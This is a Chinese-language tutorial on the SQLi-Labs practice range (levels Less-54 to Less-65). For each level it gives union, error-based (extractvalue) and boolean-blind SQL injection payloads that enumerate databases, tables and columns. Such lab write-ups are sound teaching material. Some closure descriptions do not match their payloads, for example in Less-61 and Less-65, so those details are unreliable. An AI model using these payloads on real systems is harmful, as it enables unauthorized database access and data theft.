SQLi_Labs靶场Challenges学习分享
字数 1038 2025-08-24 16:48:07
SQLi_Labs靶场Challenges关卡详细教学文档
概述
本文档详细讲解SQLi_Labs靶场中Challenges部分(Less-54至Less-65)的SQL注入技术要点。这些关卡主要考察不同闭合方式下的SQL注入技巧,包括联合查询注入、报错注入和盲注等技术。
基础准备
- 靶场环境:SQLi_Labs
- 目标数据库:challenges
- 工具:浏览器、Burp Suite等HTTP工具
各关卡详细解析
Less-54
特点:
- 有提交按钮,点击后设置cookie
- 限制10次请求次数
- 存在过滤机制
注入步骤:
- 确定注入点闭合方式:单引号闭合
- 查库:
?id=-1%27%20union%20select%201,2,database()--+ - 查表:
?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+ - 查列(假设表名为2P0C18GOWL):
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='2P0C18GOWL' %23 - 查数据:
?id=-1' union select 1,group_concat(tryy),3 from 2P0C18GOWL%23
Less-55
特点:
- 限制14次请求
- 右括号闭合
注入步骤:
- 测试闭合方式:
?id=1'%23 //错误 ?id=1')%23 //错误 ?id=1)%23 //正确 - 确认闭合方式为
) - 查库:
?id=-1) union select 1,database(),3%23
Less-56
特点:
- 单引号加右括号闭合
注入步骤:
- 测试闭合方式:
?id=1')%23 //成功闭合 - 查库:
?id=-1') union select 1,database(),3%23
Less-57
特点:
- 双引号闭合
注入步骤:
- 查库:
?id=-1" union select 1,database(),3%23
Less-58
特点:
- 无数据回显,但有报错信息
- 需使用报错注入
注入步骤:
- 使用extractvalue报错注入:
?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
Less-59
SQL语句:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
特点:
- 数字型注入
- 无引号闭合
注入步骤:
- 报错注入:
?id=1 and extractvalue(1, concat(0x5c, (select database())))%23
Less-60
特点:
- 双引号加右括号闭合
注入步骤:
- 报错注入:
?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
Less-61
特点:
- 双引号加双右括号闭合
注入步骤:
- 报错注入:
?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
Less-62
特点:
- 盲注关卡
- 限制130次请求
- 单引号加右括号闭合
注入步骤:
- 布尔盲注判断数据库名长度:
?id=1') and (length(database())=10)%23 - 逐字符判断表名:
?id=1') and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #
Less-63
特点:
- 盲注关卡
- 单引号闭合
注入步骤:
- 布尔盲注:
?id=1' and (length(database())=10)%23 - 逐字符判断:
?id=1' and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #
Less-64
特点:
- 盲注关卡
- 双右括号闭合
注入步骤:
- 布尔盲注:
?id=1)) and (length(database())=10)%23 - 逐字符判断:
?id=1)) and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #
Less-65
SQL语句:
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
特点:
- 盲注关卡
- 双引号加右括号闭合
注入步骤:
- 布尔盲注:
?id=1") and (length(database())=10)%23 - 逐字符判断:
?id=1") and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #
总结
-
闭合方式识别是这些关卡的关键,包括:
- 单引号:'
- 双引号:"
- 括号:), )), ())
-
注入技术根据回显情况选择:
- 有回显:联合查询注入
- 有报错:报错注入
- 无回显:盲注
-
请求次数限制需要高效利用每次请求,避免爆破式攻击。
-
盲注技巧:
- 使用length()判断长度
- 使用ascii()+mid()逐字符判断
- 使用二分法提高效率
通过系统练习这些关卡,可以全面掌握各种场景下的SQL注入技术。